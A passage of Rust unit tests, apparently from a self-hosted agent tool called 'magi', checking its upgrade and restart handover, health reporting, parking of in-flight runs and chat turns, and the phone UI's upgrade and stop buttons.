20850            upgrade_post(State(ui.clone())).await.status(),
20851            StatusCode::CONFLICT
20852        );
20853        drop(gate);
20854        assert!(
20855            health(State(ui.clone()))
20856                .await
20857                .unwrap()
20858                .0
20859                .upgrade_request_error
20860                .is_some()
20861        );
20862        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
20863        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
20864        assert!(
20865            health(State(ui.clone()))
20866                .await
20867                .unwrap()
20868                .0
20869                .upgrade_request_error
20870                .is_none()
20871        );
20872        let live = ui.lock_loop().live.take().unwrap();
20873        live.stop.stop();
20874        live.handle.await.unwrap();
20875    }
20876
20877    #[tokio::test]
20878    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
20879        use crate::updater::Stage;
20880        let repo = TempDir::new().expect("repo dir");
20881        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20882            .expect("write magi.toml");
20883        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20884        for stage in [Stage::Done, Stage::Failed] {
20885            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
20886            let res = fx.post("/api/upgrade", None).await;
20887            assert_eq!(res.status, 200, "{stage:?}");
20888        }
20889        // No record at all, and the gate was released by the earlier calls.
20890        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
20891        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
20892    }
20893
20894    #[tokio::test]
20895    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
20896        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
20897        // and the route answers from its own logic.
20898        //
20899        // This test used to lean on the fixture's placeholder repo failing
20900        // config discovery, which left `mode = "notify"` - and a live,
20901        // unauthenticated call to the GitHub releases API inside a unit test.
20902        // GitHub allows 60 of those an hour per address, so the suite went red
20903        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
20904        // long as somebody kept re-running it: every attempt spent another
20905        // request. Six reruns across four pull requests were charged to that
20906        // before it was read as a rate limit rather than a flake.
20907        //
20908        // What the assertion is about is the "already current" branch, which
20909        // is reached by there being no newer release *or* nowhere to look. The
20910        // second one needs no network and cannot be rate limited.
20911        let repo = TempDir::new().expect("repo dir");
20912        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20913            .expect("write magi.toml");
20914        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20915
20916        // It must answer 200 and leave the process alone: restarting for an
20917        // upgrade that did not happen parks the run in flight and drops every
20918        // connection to pay for nothing. A probe against a deck already on the
20919        // newest build did exactly that, which is how this case got its own
20920        // branch.
20921        let res = fx.post("/api/upgrade", None).await;
20922        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20923        let body = res.json();
20924        assert!(body["to"].is_null(), "there was no release to move to");
20925        assert!(body["parked"].is_null(), "and nothing was parked");
20926        assert!(
20927            body["detail"]
20928                .as_str()
20929                .unwrap()
20930                .contains("nothing restarted"),
20931            "{body:?}"
20932        );
20933    }
20934
20935    #[tokio::test]
20936    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
20937        // `mode = "off"` for the same reason as the test above: a default
20938        // fixture repo falls back to `mode = "notify"`, which would make this
20939        // route's new `update` field a live, unauthenticated GitHub call on
20940        // every assertion in this suite that happens to hit `/api/health`.
20941        let repo = TempDir::new().expect("repo dir");
20942        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20943            .expect("write magi.toml");
20944        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20945
20946        let health = fx.get("/api/health").await.json();
20947        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
20948        assert_eq!(
20949            health["update"]["available"], false,
20950            "checking is off, which reads as \"unknown\", not \"none\""
20951        );
20952        assert!(health["update"]["to"].is_null());
20953        assert!(
20954            health["upgrade"].is_null(),
20955            "nothing has ever asked this deck to upgrade"
20956        );
20957    }
20958
20959    #[tokio::test]
20960    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
20961        let fx = Fixture::start().await;
20962        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
20963
20964        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20965        progress.parked_run = Some("20260905-000000-cd51".to_owned());
20966        progress.advance(crate::updater::Stage::Parking);
20967        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20968
20969        let health = fx.get("/api/health").await.json();
20970        assert_eq!(health["upgrade"]["stage"], "parking");
20971        assert_eq!(health["upgrade"]["from"], "0.5.1");
20972        assert_eq!(health["upgrade"]["to"], "0.5.2");
20973        let waiting_on = health["upgrade"]["waiting_on"]
20974            .as_str()
20975            .expect("waiting_on is set while parking a known run");
20976        assert!(waiting_on.contains("cd51"), "{waiting_on}");
20977        assert!(waiting_on.contains("implementing"), "{waiting_on}");
20978    }
20979
20980    #[tokio::test]
20981    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
20982        let fx = Fixture::start().await;
20983        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20984        progress.advance(crate::updater::Stage::Done);
20985        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20986
20987        let health = fx.get("/api/health").await.json();
20988        assert_eq!(health["upgrade"]["stage"], "done");
20989        assert!(
20990            health["upgrade"]["waiting_on"].is_null(),
20991            "nothing to wait on once it is done"
20992        );
20993    }
20994
20995    #[tokio::test]
20996    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
20997        let home = TempDir::new().expect("temp home");
20998        let runs = home.path().join("runs");
20999        std::fs::create_dir_all(&runs).expect("runs dir");
21000        let ui = Ui::new(
21001            Queue::at(home.path().join("queue")),
21002            Questions::at(home.path().join("questions")),
21003            Talks::at(home.path().join("talks")),
21004            runs,
21005            home.path().to_path_buf(),
21006            PathBuf::from("/repo/magi"),
21007        )
21008        .with_launch(launch_idle);
21009        let looping = ui.looping();
21010        let turns = ui.turns();
21011        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21012            .await
21013            .expect("bind loopback");
21014        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21015
21016        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21017        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21018
21019        hand_over(
21020            home.path(),
21021            &looping,
21022            &turns,
21023            &|_: &[String]| Duration::from_secs(5),
21024            served,
21025            |_| Ok(1),
21026        )
21027        .await
21028        .expect("hand over");
21029
21030        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21031        assert_eq!(
21032            after.stage,
21033            crate::updater::Stage::Restarting,
21034            "hand_over owns the record through parking and up to restarting; \
21035             the successor is what finishes it"
21036        );
21037    }
21038
21039    /// The successor is started exactly once on success, and exactly once on
21040    /// failure too (a failed start is reported, never retried).
21041    #[tokio::test]
21042    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21043        for fail in [false, true] {
21044            let home = TempDir::new().expect("temp home");
21045            let ui = idle_ui(&home);
21046            let looping = ui.looping();
21047            let turns = ui.turns();
21048            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21049                .await
21050                .expect("bind loopback");
21051            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21052            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21053            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21054
21055            let calls = std::sync::atomic::AtomicUsize::new(0);
21056            let outcome = hand_over(
21057                home.path(),
21058                &looping,
21059                &turns,
21060                &|_: &[String]| Duration::from_secs(5),
21061                served,
21062                |_| {
21063                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21064                    if fail {
21065                        anyhow::bail!("no exec")
21066                    } else {
21067                        Ok(4242)
21068                    }
21069                },
21070            )
21071            .await;
21072            assert_eq!(outcome.is_err(), fail);
21073            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21074
21075            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
21076                .expect("upgrade.log is written under the home");
21077            for step in [
21078                "entered",
21079                "finish_loop",
21080                "listener released",
21081                "starting the successor",
21082            ] {
21083                assert!(log.contains(step), "missing `{step}` in:\n{log}");
21084            }
21085            assert!(
21086                log.contains(if fail { "did not start" } else { "pid 4242" }),
21087                "{log}"
21088            );
21089        }
21090    }
21091
21092    /// The handover signal is seen however the race falls, and wakes its one
21093    /// waiter once per signal - nothing here can spin.
21094    #[tokio::test]
21095    async fn the_handover_signal_wakes_one_waiter_once() {
21096        let signal = Notify::new();
21097        // Signalled before anyone waits: the stored permit is not lost.
21098        signal.notify_one();
21099        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
21100            .await
21101            .expect("an early signal is still seen");
21102        // One signal, one wake-up: a second wait does not resolve by itself.
21103        assert!(
21104            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
21105                .await
21106                .is_err(),
21107            "a consumed signal must not wake a second time"
21108        );
21109        // Signalled while waiting.
21110        let signal = std::sync::Arc::new(signal);
21111        let waiter = tokio::spawn({
21112            let signal = std::sync::Arc::clone(&signal);
21113            async move { wait_for_handover(&signal).await }
21114        });
21115        tokio::time::sleep(Duration::from_millis(20)).await;
21116        assert!(!waiter.is_finished(), "nothing was signalled yet");
21117        signal.notify_one();
21118        tokio::time::timeout(Duration::from_secs(5), waiter)
21119            .await
21120            .expect("a late signal wakes the waiter")
21121            .expect("join");
21122    }
21123
21124    #[tokio::test]
21125    async fn health_says_how_long_a_handover_has_been_stuck() {
21126        let fx = Fixture::start().await;
21127        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21128        progress.advance(crate::updater::Stage::Replaced);
21129        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
21130        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21131
21132        let health = fx.get("/api/health").await.json();
21133        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
21134        assert!(stuck >= 600, "{stuck}");
21135        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
21136        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
21137    }
21138
21139    #[tokio::test]
21140    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
21141        let home = tempfile::tempdir().expect("temp home");
21142        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21143        progress.advance(crate::updater::Stage::Parking);
21144        crate::updater::write_progress(home.path(), &progress).expect("seed");
21145        // What the second upgrade_and_restart and its handler do.
21146        let mut again = progress.clone();
21147        again.advance(crate::updater::Stage::Replaced);
21148        crate::updater::write_progress(home.path(), &again).expect("replaced");
21149        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21150        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
21151        let after = crate::updater::read_progress(home.path()).expect("record");
21152        assert_eq!(after.stage, crate::updater::Stage::Parking);
21153    }
21154
21155    #[tokio::test]
21156    async fn health_does_not_call_a_live_parking_wait_stuck() {
21157        let fx = Fixture::start().await;
21158        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21159        progress.parked_run = Some("20260905-000000-cd51".to_owned());
21160        progress.advance(crate::updater::Stage::Parking);
21161        let hours = Duration::from_secs(3 * 3600);
21162        progress.started_at = Timestamp::now() - hours;
21163        progress.updated_at = Timestamp::now() - hours;
21164        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21165        let _lease = crate::updater::LeaseGuard::enter(
21166            fx.home.path(),
21167            Some("20260905-000000-cd51".to_owned()),
21168        );
21169
21170        let health = fx.get("/api/health").await.json();
21171        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
21172        assert!(health["upgrade"]["stuck_kind"].is_null());
21173        assert_eq!(health["upgrade"]["handover_alive"], true);
21174        let waiting_on = health["upgrade"]["waiting_on"]
21175            .as_str()
21176            .expect("waiting_on");
21177        assert!(waiting_on.contains("cd51"), "{waiting_on}");
21178    }
21179
21180    fn idle_ui(home: &TempDir) -> Ui {
21181        let runs = home.path().join("runs");
21182        std::fs::create_dir_all(&runs).expect("runs dir");
21183        Ui::new(
21184            Queue::at(home.path().join("queue")),
21185            Questions::at(home.path().join("questions")),
21186            Talks::at(home.path().join("talks")),
21187            runs,
21188            home.path().to_path_buf(),
21189            PathBuf::from("/repo/magi"),
21190        )
21191        .with_launch(launch_idle)
21192    }
21193
21194    async fn park_fixture(
21195        home: &TempDir,
21196    ) -> (
21197        Ui,
21198        Arc<Mutex<LoopState>>,
21199        Arc<Mutex<TalkTurns>>,
21200        tokio::task::JoinHandle<std::io::Result<()>>,
21201    ) {
21202        let ui = idle_ui(home);
21203        let looping = ui.looping();
21204        let turns = ui.turns();
21205        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21206            .await
21207            .expect("bind loopback");
21208        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
21209        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21210        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21211        (ui, looping, turns, served)
21212    }
21213
21214    /// The hand-over does not release the address while a chat turn is in
21215    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
21216    /// started once the turn ends.
21217    #[tokio::test]
21218    async fn hand_over_waits_for_a_running_chat_turn() {
21219        let home = TempDir::new().expect("temp home");
21220        let (ui, looping, turns, served) = park_fixture(&home).await;
21221        let ui = Arc::new(ui);
21222        let id = "20260901-000000-chat";
21223        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21224
21225        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
21226        let handover = tokio::spawn({
21227            let home = home.path().to_path_buf();
21228            let turns = Arc::clone(&turns);
21229            let calls = Arc::clone(&calls);
21230            async move {
21231                hand_over(
21232                    &home,
21233                    &looping,
21234                    &turns,
21235                    &|_: &[String]| Duration::from_secs(60),
21236                    served,
21237                    move |_| {
21238                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21239                        Ok(1)
21240                    },
21241                )
21242                .await
21243            }
21244        });
21245
21246        let waiting = async {
21247            for _ in 0..200 {
21248                if crate::updater::read_progress(home.path())
21249                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
21250                {
21251                    return;
21252                }
21253                tokio::time::sleep(Duration::from_millis(25)).await;
21254            }
21255            panic!("the park never named the chat turn");
21256        };
21257        waiting.await;
21258        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21259
21260        // A new turn is refused, a queued claim and a direct `/say` see a busy
21261        // slot, and nothing new is live.
21262        let refused = ui.begin_talk_turn("20260901-000000-late").err();
21263        assert!(
21264            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
21265            "a direct start says an upgrade is in progress"
21266        );
21267        assert!(
21268            ui.begin_queued_talk_turn("20260901-000000-late")
21269                .expect("queued claim")
21270                .is_none()
21271        );
21272        assert!(matches!(
21273            ui.begin_talk_turn_unless_pending("20260901-000000-late")
21274                .expect("start"),
21275            TalkTurnStart::Busy
21276        ));
21277        assert_eq!(turns.lock().unwrap().live.len(), 1);
21278
21279        // The health text names the turn.
21280        let progress = crate::updater::read_progress(home.path()).expect("progress");
21281        let view = upgrade_progress_view(&ui, progress);
21282        assert!(
21283            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
21284            "{:?}",
21285            view.waiting_on
21286        );
21287
21288        assert!(!handover.is_finished());
21289        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21290        drop(turn);
21291        handover.await.expect("join").expect("hand over");
21292        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21293        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
21294    }
21295
21296    /// Chat stays open while the loop is still parking, and closes only once
21297    /// the loop is done; a turn started during the park is waited for.
21298    #[tokio::test]
21299    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
21300        let home = TempDir::new().expect("temp home");
21301        let (ui, looping, turns, served) = park_fixture(&home).await;
21302        let ui = Arc::new(ui);
21303        // A loop that ends only when told to.
21304        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
21305        lock_or_recover(&looping).live = Some(Live {
21306            stop: daemon::Stop::new(),
21307            handle: tokio::spawn(async move {
21308                let _ = loop_ended.await;
21309            }),
21310            opts: daemon::Opts::default(),
21311        });
21312
21313        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
21314        let handover = tokio::spawn({
21315            let home = home.path().to_path_buf();
21316            let turns = Arc::clone(&turns);
21317            let calls = Arc::clone(&calls);
21318            async move {
21319                hand_over(
21320                    &home,
21321                    &looping,
21322                    &turns,
21323                    &|_: &[String]| Duration::from_secs(60),
21324                    served,
21325                    move |_| {
21326                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21327                        Ok(1)
21328                    },
21329                )
21330                .await
21331            }
21332        });
21333
21334        let reached = async {
21335            for _ in 0..200 {
21336                if crate::updater::read_progress(home.path())
21337                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
21338                {
21339                    return;
21340                }
21341                tokio::time::sleep(Duration::from_millis(25)).await;
21342            }
21343            panic!("the hand-over never reached parking");
21344        };
21345        reached.await;
21346
21347        // The loop is still parking: a chat turn starts.
21348        assert!(!turns.lock().unwrap().parking);
21349        let turn = ui
21350            .begin_talk_turn("20260901-000000-chat")
21351            .expect("claim")
21352            .expect("a turn can start while the loop parks");
21353
21354        // The loop ends; the slot closes while the first turn is still held.
21355        end_loop.send(()).expect("loop still waiting");
21356        for _ in 0..200 {
21357            if turns.lock().unwrap().parking {
21358                break;
21359            }
21360            tokio::time::sleep(Duration::from_millis(25)).await;
21361        }
21362        assert!(
21363            turns.lock().unwrap().parking,
21364            "closed once the loop is done"
21365        );
21366        let refused = ui.begin_talk_turn("20260901-000000-late").err();
21367        assert!(
21368            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
21369            "no turn starts once the loop is done"
21370        );
21371        assert!(
21372            ui.begin_queued_talk_turn("20260901-000000-late")
21373                .expect("queued claim")
21374                .is_none()
21375        );
21376        assert!(!handover.is_finished());
21377        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21378
21379        drop(turn);
21380        handover.await.expect("join").expect("hand over");
21381        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21382        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
21383    }
21384
21385    /// A turn that never ends cannot block the upgrade: past the bound the
21386    /// hand-over proceeds and records which talk it gave up on.
21387    #[tokio::test]
21388    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
21389        let home = TempDir::new().expect("temp home");
21390        let (ui, looping, turns, served) = park_fixture(&home).await;
21391        let id = "20260901-000000-stuk";
21392        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21393
21394        let calls = std::sync::atomic::AtomicUsize::new(0);
21395        hand_over(
21396            home.path(),
21397            &looping,
21398            &turns,
21399            &|_: &[String]| Duration::from_millis(300),
21400            served,
21401            |_| {
21402                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21403                Ok(1)
21404            },
21405        )
21406        .await
21407        .expect("hand over");
21408        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21409
21410        let progress = crate::updater::read_progress(home.path()).expect("progress");
21411        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
21412        assert!(
21413            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
21414            "{:?}",
21415            progress.detail
21416        );
21417        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
21418        assert!(
21419            log.contains("handing over anyway") && log.contains(id),
21420            "{log}"
21421        );
21422    }
21423
21424    /// A drain that finds the upgrade parking leaves the queued draft alone
21425    /// and gives the slot up, instead of starting another turn.
21426    #[tokio::test]
21427    async fn drain_loop_starts_no_turn_while_parking() {
21428        let tmp = TempDir::new().expect("tempdir");
21429        let repo = tmp.path().join("repo");
21430        std::fs::create_dir_all(&repo).expect("repo dir");
21431        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
21432        let home = TempDir::new().expect("temp home");
21433        let talks = Talks::at(home.path().join("talks"));
21434        let ui = Ui::new(
21435            Queue::at(home.path().join("queue")),
21436            Questions::at(home.path().join("questions")),
21437            talks.clone(),
21438            home.path().join("runs"),
21439            home.path().to_path_buf(),
21440            repo.clone(),
21441        )
21442        .with_worktrees_root(home.path().join("wt"));
21443        let cfg = config_for(&repo).await.expect("discover config");
21444        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
21445        let id = talk.id.clone();
21446        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
21447        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
21448        let turns = ui.turns();
21449        let parking = ParkingTurns::begin(&turns);
21450
21451        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
21452
21453        assert!(
21454            turns.lock().unwrap().live.is_empty(),
21455            "the slot is given up"
21456        );
21457        let fresh = talks.get(&id).expect("talk");
21458        assert_eq!(fresh.pending, "later", "the draft is still queued");
21459        assert!(fresh.turns.is_empty(), "no turn ran");
21460        drop(parking);
21461    }
21462
21463    /// Run `hand_over` against `ui` and return what the successor was told.
21464    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
21465        let looping = ui.looping();
21466        let turns = ui.turns();
21467        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21468            .await
21469            .expect("bind loopback");
21470        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21471        let told = std::sync::Mutex::new(None);
21472        hand_over(
21473            home.path(),
21474            &looping,
21475            &turns,
21476            &|_: &[String]| Duration::from_secs(5),
21477            served,
21478            |resume| {
21479                *told.lock().unwrap() = Some(resume);
21480                Ok(1)
21481            },
21482        )
21483        .await
21484        .expect("hand over");
21485        told.into_inner().unwrap().expect("successor was started")
21486    }
21487
21488    #[tokio::test]
21489    async fn a_running_loop_is_resumed_by_the_successor() {
21490        let home = TempDir::new().expect("temp home");
21491        let ui = idle_ui(&home);
21492        ui.start_loop(None).expect("start");
21493        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21494        // The idle loop sees the park and ends before the handover fires.
21495        for _ in 0..500 {
21496            if !ui.loop_view(None).running {
21497                break;
21498            }
21499            tokio::time::sleep(Duration::from_millis(2)).await;
21500        }
21501        assert!(handed_over(&home, ui).await, "a running loop must resume");
21502
21503        let successor = idle_ui(&home);
21504        assert!(!successor.loop_view(None).running);
21505        assert!(successor.resume_after_handover(true));
21506        assert!(successor.loop_view(None).running);
21507        successor.stop_loop(None, false).expect("stop");
21508    }
21509
21510    #[tokio::test]
21511    async fn a_second_upgrade_request_keeps_the_resume_intent() {
21512        let home = TempDir::new().expect("temp home");
21513        let ui = idle_ui(&home);
21514        ui.start_loop(None).expect("start");
21515        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21516            .expect("first park");
21517        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21518            .expect("second park");
21519        assert!(handed_over(&home, ui).await);
21520    }
21521
21522    #[tokio::test]
21523    async fn a_stop_during_the_handover_wait_is_honoured() {
21524        let home = TempDir::new().expect("temp home");
21525        let ui = idle_ui(&home);
21526        ui.start_loop(None).expect("start");
21527        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21528        ui.stop_loop(None, false).expect("stop");
21529        assert!(!handed_over(&home, ui).await);
21530    }
21531
21532    #[tokio::test]
21533    async fn an_idle_loop_stays_stopped_across_the_handover() {
21534        let home = TempDir::new().expect("temp home");
21535        let ui = idle_ui(&home);
21536        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21537        assert!(!handed_over(&home, ui).await);
21538
21539        let successor = idle_ui(&home);
21540        assert!(!successor.resume_after_handover(false));
21541        assert!(!successor.loop_view(None).running);
21542    }
21543
21544    #[tokio::test]
21545    async fn a_loop_the_operator_stopped_is_not_resumed() {
21546        let home = TempDir::new().expect("temp home");
21547        let ui = idle_ui(&home);
21548        ui.start_loop(None).expect("start");
21549        ui.stop_loop(None, false).expect("stop");
21550        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21551        assert!(!handed_over(&home, ui).await);
21552    }
21553
21554    #[test]
21555    fn only_an_explicit_one_requests_a_resume() {
21556        assert!(!resume_requested(None));
21557        assert!(!resume_requested(Some("0".into())));
21558        assert!(!resume_requested(Some("".into())));
21559        assert!(resume_requested(Some("1".into())));
21560    }
21561
21562    #[test]
21563    fn the_upgrade_button_arms_before_it_restarts_anything() {
21564        // It ends the process the operator is talking to, and a phone in a
21565        // pocket taps things. One tap arms, the second commits.
21566        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
21567        assert!(APP_JS.contains("Replace the binary and restart?"));
21568        assert!(APP_JS.contains("function confirmed("));
21569        // Hidden when the loop is somebody else's, matching the 409 above -
21570        // and hidden with nothing to install, matching the 200 "already
21571        // current" branch: an operator on the newest build must not be
21572        // offered a restart that would only park a run for nothing.
21573        assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
21574        // A park waits for the node in flight, up to an hour for an implement
21575        // wave. Leaving the button reading "Upgrading…" for that long is the
21576        // same mistake as an error rendered off screen: it looks wedged.
21577        assert!(
21578            APP_JS.contains("Parking, then restarting"),
21579            "the button says what it is waiting for"
21580        );
21581        // And nothing to install must give the button back rather than
21582        // pretending a restart is coming.
21583        assert!(APP_JS.contains("if (!out.to)"));
21584    }
21585
21586    #[test]
21587    fn stopping_the_loop_arms_but_starting_does_not() {
21588        // A stray tap must not leave the queue stopped overnight, so a stop is
21589        // two taps through the same helper the upgrade uses; a start stays one.
21590        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
21591        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
21592        assert!(APP_JS.contains("confirmed(button, question)"));
21593        // The label put back on timeout is the one saved when arming, not a
21594        // hard-coded upgrade caption that would rename the stop button.
21595        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
21596        assert!(APP_JS.contains("const label = btn.textContent;"));
21597        assert!(!APP_JS.contains("Neither direction is guarded"));
21598    }
21599
21600    #[test]
21601    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
21602        assert!(
21603            APP_JS.contains("state.health.version"),
21604            "the operator wants to know what is running even with nothing newer"
21605        );
21606        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
21607    }
21608
21609    #[test]
21610    fn the_upgrade_button_names_its_destination() {
21611        assert!(
21612            APP_JS.contains("`Update to ${update.to}`"),
21613            "pressing the button should not be a surprise about what it moves to"
21614        );
21615    }
21616
21617    #[test]
21618    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
21619        for stage in ["downloading", "replaced", "parking", "restarting"] {
21620            assert!(
21621                APP_JS.contains(&format!("\"{stage}\"")),
21622                "the phone must be able to tell {stage} apart from the others"
21623            );
21624        }
21625        assert!(APP_JS.contains(".waiting_on"));
21626        // What replaced the bare "Cannot reach magi: Failed to fetch": a
21627        // fetch failing while an upgrade is in flight is not an error, it is
21628        // the sub-second gap `bind_waiting` covers, and it must not be
21629        // reported as one.
21630        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
21631        assert!(APP_JS.contains("reconnects on its own"));
21632    }
21633
21634    #[test]
21635    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
21636        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
21637            ..APP_JS.find("function upgrade(").expect("upgrade")];
21638        assert!(!body.contains(
21639            "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
21640        ));
21641        assert!(body.contains("renderUpgradeError();"));
21642        assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
21643    }
21644
21645    #[test]
21646    fn an_overdue_upgrade_eventually_asks_for_a_human() {
21647        // The ceiling has to clear a full hour-long park with room to spare,
21648        // or an ordinary implement wave would be reported as a stuck upgrade.
21649        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
21650        assert!(APP_JS.contains("function upgradeOverdue("));
21651    }
21652
21653    #[test]
21654    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
21655        assert!(
21656            APP_JS.contains("Updated to ${upgradeInfo.to"),
21657            "the operator who asked for the restart wants to know it worked"
21658        );
21659    }
21660
21661    #[test]
21662    fn an_error_is_visible_from_where_the_button_is() {
21663        // The alert used to sit in the flow under the header. On a phone
21664        // scrolled 13 500 px down to a run's action sheet that is off screen,
21665        // so tapping Resume and being told "the loop is running run b455
21666        // right now" looked exactly like a button that did nothing.
21667        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
21668            ..APP_CSS.find(".alert-text").expect(".alert-text")];
21669        assert!(
21670            alert.contains("position: fixed"),
21671            "an error about the thing under your thumb has to be visible from \
21672             where your thumb is: {alert}"
21673        );
21674        assert!(
21675            alert.contains("z-index: 25"),
21676            "above the dock (20) and the run-actions FAB (15), so neither \
21677             buries it: {alert}"
21678        );
21679        assert!(
21680            alert.contains("var(--tap)"),
21681            "and clear of the dock and the home indicator: {alert}"
21682        );
21683        // The FAB sits at the same height on the right. An error that covered
21684        // it would hide the button the operator reaches for next.
21685        assert!(
21686            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
21687            "the FAB's column stays free: {alert}"
